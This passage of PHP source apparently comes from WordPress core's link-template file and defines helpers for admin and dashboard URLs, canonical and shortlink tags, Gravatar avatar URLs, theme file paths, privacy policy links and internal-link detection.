function self_admin_url( $path = '', $scheme = 'admin' ) {
if ( is_network_admin() ) {
$url = network_admin_url( $path, $scheme );
} elseif ( is_user_admin() ) {
$url = user_admin_url( $path, $scheme );
} else {
$url = admin_url( $path, $scheme );
}
/**
* Filters the admin URL for the current site or network depending on context.
*
* @since 4.9.0
*
* @param string $url The complete URL including scheme and path.
* @param string $path Path relative to the URL. Blank string if no path is specified.
* @param string $scheme The scheme to use.
*/
return apply_filters( 'self_admin_url', $url, $path, $scheme );
}
/**
* Sets the scheme for a URL.
*
* @since 3.4.0
* @since 4.4.0 The 'rest' scheme was added.
*
* @param string $url Absolute URL that includes a scheme
* @param string|null $scheme Optional. Scheme to give $url. Currently 'http', 'https', 'login',
* 'login_post', 'admin', 'relative', 'rest', 'rpc', or null. Default null.
* @return string URL with chosen scheme.
*/
function set_url_scheme( $url, $scheme = null ) {
$orig_scheme = $scheme;
if ( ! $scheme ) {
$scheme = is_ssl() ? 'https' : 'http';
} elseif ( 'admin' === $scheme || 'login' === $scheme || 'login_post' === $scheme || 'rpc' === $scheme ) {
$scheme = is_ssl() || force_ssl_admin() ? 'https' : 'http';
} elseif ( 'http' !== $scheme && 'https' !== $scheme && 'relative' !== $scheme ) {
$scheme = is_ssl() ? 'https' : 'http';
}
$url = trim( $url );
if ( str_starts_with( $url, '//' ) ) {
$url = 'http:' . $url;
}
if ( 'relative' === $scheme ) {
$url = ltrim( preg_replace( '#^\w+://[^/]*#', '', $url ) );
if ( '' !== $url && '/' === $url[0] ) {
$url = '/' . ltrim( $url, "/ \t\n\r\0\x0B" );
}
} else {
$url = preg_replace( '#^\w+://#', $scheme . '://', $url );
}
/**
* Filters the resulting URL after setting the scheme.
*
* @since 3.4.0
*
* @param string $url The complete URL including scheme and path.
* @param string $scheme Scheme applied to the URL. One of 'http', 'https', or 'relative'.
* @param string|null $orig_scheme Scheme requested for the URL. One of 'http', 'https', 'login',
* 'login_post', 'admin', 'relative', 'rest', 'rpc', or null.
*/
return apply_filters( 'set_url_scheme', $url, $scheme, $orig_scheme );
}
/**
* Retrieves the URL to the user's dashboard.
*
* If a user does not belong to any site, the global user dashboard is used. If the user
* belongs to the current site, the dashboard for the current site is returned. If the user
* cannot edit the current site, the dashboard to the user's primary site is returned.
*
* @since 3.1.0
*
* @param int $user_id Optional. User ID. Defaults to current user.
* @param string $path Optional path relative to the dashboard. Use only paths known to
* both site and user admins. Default empty.
* @param string $scheme The scheme to use. Default is 'admin', which obeys force_ssl_admin()
* and is_ssl(). 'http' or 'https' can be passed to force those schemes.
* @return string Dashboard URL link with optional path appended.
*/
function get_dashboard_url( $user_id = 0, $path = '', $scheme = 'admin' ) {
$user_id = $user_id ? (int) $user_id : get_current_user_id();
$blogs = get_blogs_of_user( $user_id );
if ( is_multisite() && ! user_can( $user_id, 'manage_network' ) && empty( $blogs ) ) {
$url = user_admin_url( $path, $scheme );
} elseif ( ! is_multisite() ) {
$url = admin_url( $path, $scheme );
} else {
$current_blog = get_current_blog_id();
if ( $current_blog && ( user_can( $user_id, 'manage_network' ) || in_array( $current_blog, array_keys( $blogs ), true ) ) ) {
$url = admin_url( $path, $scheme );
} else {
$active = get_active_blog_for_user( $user_id );
if ( $active ) {
$url = get_admin_url( $active->blog_id, $path, $scheme );
} else {
$url = user_admin_url( $path, $scheme );
}
}
}
/**
* Filters the dashboard URL for a user.
*
* @since 3.1.0
*
* @param string $url The complete URL including scheme and path.
* @param int $user_id The user ID.
* @param string $path Path relative to the URL. Blank string if no path is specified.
* @param string $scheme Scheme to give the URL context. Accepts 'http', 'https', 'login',
* 'login_post', 'admin', 'relative' or null.
*/
return apply_filters( 'user_dashboard_url', $url, $user_id, $path, $scheme );
}
/**
* Retrieves the URL to the user's profile editor.
*
* @since 3.1.0
*
* @param int $user_id Optional. User ID. Defaults to current user.
* @param string $scheme Optional. The scheme to use. Default is 'admin', which obeys force_ssl_admin()
* and is_ssl(). 'http' or 'https' can be passed to force those schemes.
* @return string Dashboard URL link with optional path appended.
*/
function get_edit_profile_url( $user_id = 0, $scheme = 'admin' ) {
$user_id = $user_id ? (int) $user_id : get_current_user_id();
if ( is_user_admin() ) {
$url = user_admin_url( 'profile.php', $scheme );
} elseif ( is_network_admin() ) {
$url = network_admin_url( 'profile.php', $scheme );
} else {
$url = get_dashboard_url( $user_id, 'profile.php', $scheme );
}
/**
* Filters the URL for a user's profile editor.
*
* @since 3.1.0
*
* @param string $url The complete URL including scheme and path.
* @param int $user_id The user ID.
* @param string $scheme Scheme to give the URL context. Accepts 'http', 'https', 'login',
* 'login_post', 'admin', 'relative' or null.
*/
return apply_filters( 'edit_profile_url', $url, $user_id, $scheme );
}
/**
* Returns the canonical URL for a post.
*
* When the post is the same as the current requested page the function will handle the
* pagination arguments too.
*
* @since 4.6.0
*
* @param int|WP_Post $post Optional. Post ID or object. Default is global `$post`.
* @return string|false The canonical URL. False if the post does not exist
* or has not been published yet.
*/
function wp_get_canonical_url( $post = null ) {
$post = get_post( $post );
if ( ! $post ) {
return false;
}
if ( 'publish' !== $post->post_status ) {
return false;
}
$canonical_url = get_permalink( $post );
// If a canonical is being generated for the current page, make sure it has pagination if needed.
if ( get_queried_object_id() === $post->ID ) {
$page = get_query_var( 'page', 0 );
if ( $page >= 2 ) {
if ( ! get_option( 'permalink_structure' ) ) {
$canonical_url = add_query_arg( 'page', $page, $canonical_url );
} else {
$canonical_url = trailingslashit( $canonical_url ) . user_trailingslashit( $page, 'single_paged' );
}
}
$cpage = get_query_var( 'cpage', 0 );
if ( $cpage ) {
$canonical_url = get_comments_pagenum_link( $cpage );
}
}
/**
* Filters the canonical URL for a post.
*
* @since 4.6.0
*
* @param string $canonical_url The post's canonical URL.
* @param WP_Post $post Post object.
*/
return apply_filters( 'get_canonical_url', $canonical_url, $post );
}
/**
* Outputs rel=canonical for singular queries.
*
* @since 2.9.0
* @since 4.6.0 Adjusted to use `wp_get_canonical_url()`.
*/
function rel_canonical() {
if ( ! is_singular() ) {
return;
}
$id = get_queried_object_id();
if ( 0 === $id ) {
return;
}
$url = wp_get_canonical_url( $id );
if ( ! empty( $url ) ) {
echo '<link rel="canonical" href="' . esc_url( $url ) . '" />' . "\n";
}
}
/**
* Returns a shortlink for a post, page, attachment, or site.
*
* This function exists to provide a shortlink tag that all themes and plugins can target.
* A plugin must hook in to provide the actual shortlinks. Default shortlink support is
* limited to providing ?p= style links for posts. Plugins can short-circuit this function
* via the {@see 'pre_get_shortlink'} filter or filter the output via the {@see 'get_shortlink'}
* filter.
*
* @since 3.0.0
*
* @param int $id Optional. A post or site ID. Default is 0, which means the current post or site.
* @param string $context Optional. Whether the ID is a 'site' ID, 'post' ID, or 'media' ID. If 'post',
* the post_type of the post is consulted. If 'query', the current query is consulted
* to determine the ID and context. Default 'post'.
* @param bool $allow_slugs Optional. Whether to allow post slugs in the shortlink. It is up to the plugin how
* and whether to honor this. Default true.
* @return string A shortlink or an empty string if no shortlink exists for the requested resource or if shortlinks
* are not enabled.
*/
function wp_get_shortlink( $id = 0, $context = 'post', $allow_slugs = true ) {
/**
* Filters whether to preempt generating a shortlink for the given post.
*
* Returning a value other than false from the filter will short-circuit
* the shortlink generation process, returning that value instead.
*
* @since 3.0.0
*
* @param false|string $return Short-circuit return value. Either false or a URL string.
* @param int $id Post ID, or 0 for the current post.
* @param string $context The context for the link. One of 'post' or 'query',
* @param bool $allow_slugs Whether to allow post slugs in the shortlink.
*/
$shortlink = apply_filters( 'pre_get_shortlink', false, $id, $context, $allow_slugs );
if ( false !== $shortlink ) {
return $shortlink;
}
$post_id = 0;
if ( 'query' === $context && is_singular() ) {
$post_id = get_queried_object_id();
$post = get_post( $post_id );
} elseif ( 'post' === $context ) {
$post = get_post( $id );
if ( ! empty( $post->ID ) ) {
$post_id = $post->ID;
}
}
$shortlink = '';
// Return `?p=` link for all public post types.
if ( ! empty( $post_id ) ) {
$post_type = get_post_type_object( $post->post_type );
if ( 'page' === $post->post_type
&& 'page' === get_option( 'show_on_front' ) && (int) get_option( 'page_on_front' ) === $post->ID
) {
$shortlink = home_url( '/' );
} elseif ( $post_type && $post_type->public ) {
$shortlink = home_url( '?p=' . $post_id );
}
}
/**
* Filters the shortlink for a post.
*
* @since 3.0.0
*
* @param string $shortlink Shortlink URL.
* @param int $id Post ID, or 0 for the current post.
* @param string $context The context for the link. One of 'post' or 'query',
* @param bool $allow_slugs Whether to allow post slugs in the shortlink. Not used by default.
*/
return apply_filters( 'get_shortlink', $shortlink, $id, $context, $allow_slugs );
}
/**
* Injects rel=shortlink into the head if a shortlink is defined for the current page.
*
* Attached to the {@see 'wp_head'} action.
*
* @since 3.0.0
*/
function wp_shortlink_wp_head() {
$shortlink = wp_get_shortlink( 0, 'query' );
if ( empty( $shortlink ) ) {
return;
}
echo "<link rel='shortlink' href='" . esc_url( $shortlink ) . "' />\n";
}
/**
* Sends a Link: rel=shortlink header if a shortlink is defined for the current page.
*
* Attached to the {@see 'wp'} action.
*
* @since 3.0.0
*/
function wp_shortlink_header() {
if ( headers_sent() ) {
return;
}
$shortlink = wp_get_shortlink( 0, 'query' );
if ( empty( $shortlink ) ) {
return;
}
header( 'Link: <' . $shortlink . '>; rel=shortlink', false );
}
/**
* Displays the shortlink for a post.
*
* Must be called from inside "The Loop"
*
* Call like the_shortlink( __( 'Shortlinkage FTW' ) )
*
* @since 3.0.0
*
* @param string $text Optional The link text or HTML to be displayed. Defaults to 'This is the short link.'
* @param string $title Optional The tooltip for the link. Must be sanitized. Defaults to the sanitized post title.
* @param string $before Optional HTML to display before the link. Default empty.
* @param string $after Optional HTML to display after the link. Default empty.
*/
function the_shortlink( $text = '', $title = '', $before = '', $after = '' ) {
$post = get_post();
if ( empty( $text ) ) {
$text = __( 'This is the short link.' );
}
if ( empty( $title ) ) {
$title = the_title_attribute( array( 'echo' => false ) );
}
$shortlink = wp_get_shortlink( $post->ID );
if ( ! empty( $shortlink ) ) {
$link = '<a rel="shortlink" href="' . esc_url( $shortlink ) . '" title="' . $title . '">' . $text . '</a>';
/**
* Filters the short link anchor tag for a post.
*
* @since 3.0.0
*
* @param string $link Shortlink anchor tag.
* @param string $shortlink Shortlink URL.
* @param string $text Shortlink's text.
* @param string $title Shortlink's title attribute.
*/
$link = apply_filters( 'the_shortlink', $link, $shortlink, $text, $title );
echo $before, $link, $after;
}
}
/**
* Retrieves the avatar URL.
*
* @since 4.2.0
*
* @param mixed $id_or_email The avatar to retrieve a URL for. Accepts a user ID, Gravatar MD5 hash,
* user email, WP_User object, WP_Post object, or WP_Comment object.
* @param array $args {
* Optional. Arguments to use instead of the default arguments.
*
* @type int $size Height and width of the avatar in pixels. Default 96.
* @type string $default URL for the default image or a default type. Accepts:
* - '404' (return a 404 instead of a default image)
* - 'retro' (a 8-bit arcade-style pixelated face)
* - 'robohash' (a robot)
* - 'monsterid' (a monster)
* - 'wavatar' (a cartoon face)
* - 'identicon' (the "quilt", a geometric pattern)
* - 'mystery', 'mm', or 'mysteryman' (The Oyster Man)
* - 'blank' (transparent GIF)
* - 'gravatar_default' (the Gravatar logo)
* Default is the value of the 'avatar_default' option,
* with a fallback of 'mystery'.
* @type bool $force_default Whether to always show the default image, never the Gravatar.
* Default false.
* @type string $rating What rating to display avatars up to. Accepts:
* - 'G' (suitable for all audiences)
* - 'PG' (possibly offensive, usually for audiences 13 and above)
* - 'R' (intended for adult audiences above 17)
* - 'X' (even more mature than above)
* Default is the value of the 'avatar_rating' option.
* @type string $scheme URL scheme to use. See set_url_scheme() for accepted values.
* Default null.
* @type array $processed_args When the function returns, the value will be the processed/sanitized $args
* plus a "found_avatar" guess. Pass as a reference. Default null.
* }
* @return string|false The URL of the avatar on success, false on failure.
*/
function get_avatar_url( $id_or_email, $args = null ) {
$args = get_avatar_data( $id_or_email, $args );
return $args['url'];
}
/**
* Check if this comment type allows avatars to be retrieved.
*
* @since 5.1.0
*
* @param string $comment_type Comment type to check.
* @return bool Whether the comment type is allowed for retrieving avatars.
*/
function is_avatar_comment_type( $comment_type ) {
/**
* Filters the list of allowed comment types for retrieving avatars.
*
* @since 3.0.0
*
* @param array $types An array of content types. Default only contains 'comment'.
*/
$allowed_comment_types = apply_filters( 'get_avatar_comment_types', array( 'comment' ) );
return in_array( $comment_type, (array) $allowed_comment_types, true );
}
/**
* Retrieves default data about the avatar.
*
* @since 4.2.0
*
* @param mixed $id_or_email The avatar to retrieve. Accepts a user ID, Gravatar MD5 hash,
* user email, WP_User object, WP_Post object, or WP_Comment object.
* @param array $args {
* Optional. Arguments to use instead of the default arguments.
*
* @type int $size Height and width of the avatar in pixels. Default 96.
* @type int $height Display height of the avatar in pixels. Defaults to $size.
* @type int $width Display width of the avatar in pixels. Defaults to $size.
* @type string $default URL for the default image or a default type. Accepts:
* - '404' (return a 404 instead of a default image)
* - 'retro' (a 8-bit arcade-style pixelated face)
* - 'robohash' (a robot)
* - 'monsterid' (a monster)
* - 'wavatar' (a cartoon face)
* - 'identicon' (the "quilt", a geometric pattern)
* - 'mystery', 'mm', or 'mysteryman' (The Oyster Man)
* - 'blank' (transparent GIF)
* - 'gravatar_default' (the Gravatar logo)
* Default is the value of the 'avatar_default' option,
* with a fallback of 'mystery'.
* @type bool $force_default Whether to always show the default image, never the Gravatar.
* Default false.
* @type string $rating What rating to display avatars up to. Accepts:
* - 'G' (suitable for all audiences)
* - 'PG' (possibly offensive, usually for audiences 13 and above)
* - 'R' (intended for adult audiences above 17)
* - 'X' (even more mature than above)
* Default is the value of the 'avatar_rating' option.
* @type string $scheme URL scheme to use. See set_url_scheme() for accepted values.
* Default null.
* @type array $processed_args When the function returns, the value will be the processed/sanitized $args
* plus a "found_avatar" guess. Pass as a reference. Default null.
* @type string $extra_attr HTML attributes to insert in the IMG element. Is not sanitized.
* Default empty.
* }
* @return array {
* Along with the arguments passed in `$args`, this will contain a couple of extra arguments.
*
* @type bool $found_avatar True if an avatar was found for this user,
* false or not set if none was found.
* @type string|false $url The URL of the avatar that was found, or false.
* }
*/
function get_avatar_data( $id_or_email, $args = null ) {
$args = wp_parse_args(
$args,
array(
'size' => 96,
'height' => null,
'width' => null,
'default' => get_option( 'avatar_default', 'mystery' ),
'force_default' => false,
'rating' => get_option( 'avatar_rating' ),
'scheme' => null,
'processed_args' => null, // If used, should be a reference.
'extra_attr' => '',
)
);
if ( is_numeric( $args['size'] ) ) {
$args['size'] = absint( $args['size'] );
if ( ! $args['size'] ) {
$args['size'] = 96;
}
} else {
$args['size'] = 96;
}
if ( is_numeric( $args['height'] ) ) {
$args['height'] = absint( $args['height'] );
if ( ! $args['height'] ) {
$args['height'] = $args['size'];
}
} else {
$args['height'] = $args['size'];
}
if ( is_numeric( $args['width'] ) ) {
$args['width'] = absint( $args['width'] );
if ( ! $args['width'] ) {
$args['width'] = $args['size'];
}
} else {
$args['width'] = $args['size'];
}
if ( empty( $args['default'] ) ) {
$args['default'] = get_option( 'avatar_default', 'mystery' );
}
switch ( $args['default'] ) {
case 'mm':
case 'mystery':
case 'mysteryman':
$args['default'] = 'mm';
break;
case 'gravatar_default':
$args['default'] = false;
break;
}
$args['force_default'] = (bool) $args['force_default'];
$args['rating'] = strtolower( $args['rating'] );
$args['found_avatar'] = false;
/**
* Filters whether to retrieve the avatar URL early.
*
* Passing a non-null value in the 'url' member of the return array will
* effectively short circuit get_avatar_data(), passing the value through
* the {@see 'get_avatar_data'} filter and returning early.
*
* @since 4.2.0
*
* @param array $args Arguments passed to get_avatar_data(), after processing.
* @param mixed $id_or_email The avatar to retrieve. Accepts a user ID, Gravatar MD5 hash,
* user email, WP_User object, WP_Post object, or WP_Comment object.
*/
$args = apply_filters( 'pre_get_avatar_data', $args, $id_or_email );
if ( isset( $args['url'] ) ) {
/** This filter is documented in wp-includes/link-template.php */
return apply_filters( 'get_avatar_data', $args, $id_or_email );
}
$email_hash = '';
$user = false;
$email = false;
if ( is_object( $id_or_email ) && isset( $id_or_email->comment_ID ) ) {
$id_or_email = get_comment( $id_or_email );
}
// Process the user identifier.
if ( is_numeric( $id_or_email ) ) {
$user = get_user_by( 'id', absint( $id_or_email ) );
} elseif ( is_string( $id_or_email ) ) {
if ( str_contains( $id_or_email, '@md5.gravatar.com' ) ) {
// MD5 hash.
list( $email_hash ) = explode( '@', $id_or_email );
} else {
// Email address.
$email = $id_or_email;
}
} elseif ( $id_or_email instanceof WP_User ) {
// User object.
$user = $id_or_email;
} elseif ( $id_or_email instanceof WP_Post ) {
// Post object.
$user = get_user_by( 'id', (int) $id_or_email->post_author );
} elseif ( $id_or_email instanceof WP_Comment ) {
if ( ! is_avatar_comment_type( get_comment_type( $id_or_email ) ) ) {
$args['url'] = false;
/** This filter is documented in wp-includes/link-template.php */
return apply_filters( 'get_avatar_data', $args, $id_or_email );
}
if ( ! empty( $id_or_email->user_id ) ) {
$user = get_user_by( 'id', (int) $id_or_email->user_id );
}
if ( ( ! $user || is_wp_error( $user ) ) && ! empty( $id_or_email->comment_author_email ) ) {
$email = $id_or_email->comment_author_email;
}
}
if ( ! $email_hash ) {
if ( $user ) {
$email = $user->user_email;
}
if ( $email ) {
$email_hash = md5( strtolower( trim( $email ) ) );
}
}
if ( $email_hash ) {
$args['found_avatar'] = true;
$gravatar_server = hexdec( $email_hash[0] ) % 3;
} else {
$gravatar_server = rand( 0, 2 );
}
$url_args = array(
's' => $args['size'],
'd' => $args['default'],
'f' => $args['force_default'] ? 'y' : false,
'r' => $args['rating'],
);
if ( is_ssl() ) {
$url = 'https://secure.gravatar.com/avatar/' . $email_hash;
} else {
$url = sprintf( 'http://%d.gravatar.com/avatar/%s', $gravatar_server, $email_hash );
}
$url = add_query_arg(
rawurlencode_deep( array_filter( $url_args ) ),
set_url_scheme( $url, $args['scheme'] )
);
/**
* Filters the avatar URL.
*
* @since 4.2.0
*
* @param string $url The URL of the avatar.
* @param mixed $id_or_email The avatar to retrieve. Accepts a user ID, Gravatar MD5 hash,
* user email, WP_User object, WP_Post object, or WP_Comment object.
* @param array $args Arguments passed to get_avatar_data(), after processing.
*/
$args['url'] = apply_filters( 'get_avatar_url', $url, $id_or_email, $args );
/**
* Filters the avatar data.
*
* @since 4.2.0
*
* @param array $args Arguments passed to get_avatar_data(), after processing.
* @param mixed $id_or_email The avatar to retrieve. Accepts a user ID, Gravatar MD5 hash,
* user email, WP_User object, WP_Post object, or WP_Comment object.
*/
return apply_filters( 'get_avatar_data', $args, $id_or_email );
}
/**
* Retrieves the URL of a file in the theme.
*
* Searches in the stylesheet directory before the template directory so themes
* which inherit from a parent theme can just override one file.
*
* @since 4.7.0
*
* @param string $file Optional. File to search for in the stylesheet directory.
* @return string The URL of the file.
*/
function get_theme_file_uri( $file = '' ) {
$file = ltrim( $file, '/' );
$stylesheet_directory = get_stylesheet_directory();
if ( empty( $file ) ) {
$url = get_stylesheet_directory_uri();
} elseif ( get_template_directory() !== $stylesheet_directory && file_exists( $stylesheet_directory . '/' . $file ) ) {
$url = get_stylesheet_directory_uri() . '/' . $file;
} else {
$url = get_template_directory_uri() . '/' . $file;
}
/**
* Filters the URL to a file in the theme.
*
* @since 4.7.0
*
* @param string $url The file URL.
* @param string $file The requested file to search for.
*/
return apply_filters( 'theme_file_uri', $url, $file );
}
/**
* Retrieves the URL of a file in the parent theme.
*
* @since 4.7.0
*
* @param string $file Optional. File to return the URL for in the template directory.
* @return string The URL of the file.
*/
function get_parent_theme_file_uri( $file = '' ) {
$file = ltrim( $file, '/' );
if ( empty( $file ) ) {
$url = get_template_directory_uri();
} else {
$url = get_template_directory_uri() . '/' . $file;
}
/**
* Filters the URL to a file in the parent theme.
*
* @since 4.7.0
*
* @param string $url The file URL.
* @param string $file The requested file to search for.
*/
return apply_filters( 'parent_theme_file_uri', $url, $file );
}
/**
* Retrieves the path of a file in the theme.
*
* Searches in the stylesheet directory before the template directory so themes
* which inherit from a parent theme can just override one file.
*
* @since 4.7.0
*
* @param string $file Optional. File to search for in the stylesheet directory.
* @return string The path of the file.
*/
function get_theme_file_path( $file = '' ) {
$file = ltrim( $file, '/' );
$stylesheet_directory = get_stylesheet_directory();
$template_directory = get_template_directory();
if ( empty( $file ) ) {
$path = $stylesheet_directory;
} elseif ( $stylesheet_directory !== $template_directory && file_exists( $stylesheet_directory . '/' . $file ) ) {
$path = $stylesheet_directory . '/' . $file;
} else {
$path = $template_directory . '/' . $file;
}
/**
* Filters the path to a file in the theme.
*
* @since 4.7.0
*
* @param string $path The file path.
* @param string $file The requested file to search for.
*/
return apply_filters( 'theme_file_path', $path, $file );
}
/**
* Retrieves the path of a file in the parent theme.
*
* @since 4.7.0
*
* @param string $file Optional. File to return the path for in the template directory.
* @return string The path of the file.
*/
function get_parent_theme_file_path( $file = '' ) {
$file = ltrim( $file, '/' );
if ( empty( $file ) ) {
$path = get_template_directory();
} else {
$path = get_template_directory() . '/' . $file;
}
/**
* Filters the path to a file in the parent theme.
*
* @since 4.7.0
*
* @param string $path The file path.
* @param string $file The requested file to search for.
*/
return apply_filters( 'parent_theme_file_path', $path, $file );
}
/**
* Retrieves the URL to the privacy policy page.
*
* @since 4.9.6
*
* @return string The URL to the privacy policy page. Empty string if it doesn't exist.
*/
function get_privacy_policy_url() {
$url = '';
$policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' );
if ( ! empty( $policy_page_id ) && get_post_status( $policy_page_id ) === 'publish' ) {
$url = (string) get_permalink( $policy_page_id );
}
/**
* Filters the URL of the privacy policy page.
*
* @since 4.9.6
*
* @param string $url The URL to the privacy policy page. Empty string
* if it doesn't exist.
* @param int $policy_page_id The ID of privacy policy page.
*/
return apply_filters( 'privacy_policy_url', $url, $policy_page_id );
}
/**
* Displays the privacy policy link with formatting, when applicable.
*
* @since 4.9.6
*
* @param string $before Optional. Display before privacy policy link. Default empty.
* @param string $after Optional. Display after privacy policy link. Default empty.
*/
function the_privacy_policy_link( $before = '', $after = '' ) {
echo get_the_privacy_policy_link( $before, $after );
}
/**
* Returns the privacy policy link with formatting, when applicable.
*
* @since 4.9.6
* @since 6.2.0 Added 'privacy-policy' rel attribute.
*
* @param string $before Optional. Display before privacy policy link. Default empty.
* @param string $after Optional. Display after privacy policy link. Default empty.
* @return string Markup for the link and surrounding elements. Empty string if it
* doesn't exist.
*/
function get_the_privacy_policy_link( $before = '', $after = '' ) {
$link = '';
$privacy_policy_url = get_privacy_policy_url();
$policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' );
$page_title = ( $policy_page_id ) ? get_the_title( $policy_page_id ) : '';
if ( $privacy_policy_url && $page_title ) {
$link = sprintf(
'<a class="privacy-policy-link" href="%s" rel="privacy-policy">%s</a>',
esc_url( $privacy_policy_url ),
esc_html( $page_title )
);
}
/**
* Filters the privacy policy link.
*
* @since 4.9.6
*
* @param string $link The privacy policy link. Empty string if it
* doesn't exist.
* @param string $privacy_policy_url The URL of the privacy policy. Empty string
* if it doesn't exist.
*/
$link = apply_filters( 'the_privacy_policy_link', $link, $privacy_policy_url );
if ( $link ) {
return $before . $link . $after;
}
return '';
}
/**
* Returns an array of URL hosts which are considered to be internal hosts.
*
* By default the list of internal hosts is comprised of the host name of
* the site's home_url() (as parsed by wp_parse_url()).
*
* This list is used when determining if a specified URL is a link to a page on
* the site itself or a link offsite (to an external host). This is used, for
* example, when determining if the "nofollow" attribute should be applied to a
* link.
*
* @see wp_is_internal_link
*
* @since 6.2.0
*
* @return string[] An array of URL hosts.
*/
function wp_internal_hosts() {
static $internal_hosts;
if ( empty( $internal_hosts ) ) {
/**
* Filters the array of URL hosts which are considered internal.
*
* @since 6.2.0
*
* @param string[] $internal_hosts An array of internal URL hostnames.
*/
$internal_hosts = apply_filters(
'wp_internal_hosts',
array(
wp_parse_url( home_url(), PHP_URL_HOST ),
)
);
$internal_hosts = array_unique(
array_map( 'strtolower', (array) $internal_hosts )
);
}
return $internal_hosts;
}
/**
* Determines whether or not the specified URL is of a host included in the internal hosts list.
*
* @see wp_internal_hosts()
*
* @since 6.2.0
*
* @param string $link The URL to test.
* @return bool Returns true for internal URLs and false for all other URLs.
*/
function wp_is_internal_link( $link ) {
$link = strtolower( $link );
if ( in_array( wp_parse_url( $link, PHP_URL_SCHEME ), wp_allowed_protocols(), true ) ) {
return in_array( wp_parse_url( $link, PHP_URL_HOST ), wp_internal_hosts(), true );
}
return false;
}
